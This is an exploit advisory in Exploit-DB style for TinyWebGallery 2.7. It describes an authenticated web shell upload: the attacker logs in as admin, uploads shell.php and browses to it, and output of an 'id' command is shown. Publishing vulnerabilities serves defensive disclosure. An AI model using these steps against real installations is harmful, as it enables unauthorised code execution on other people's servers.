# Exploit Title: TinyWebGallery 2.7 - Authenticated Shell Upload 
# Date: 2025-27-06
# Exploit Author: tmrswrr
# Vendor Homepage: https://www.tinywebgallery.com
# Version: 2.7
# Tested on: https://www.tinywebgallery.com/en/download.php


1 ) Log in as admin and GO > https://127.0.0.1/TinyWebGallery/admin/index.php
2 ) Upload shell.php file
3 ) After GO THIS URL , you will be see result : https://127.0.0.1/TinyWebGallery/shell.php
uid=1000(admin) gid=1000(admin) groups=1000(admin) uid=1000(admin) gid=1000(admin) groups=1000(admin)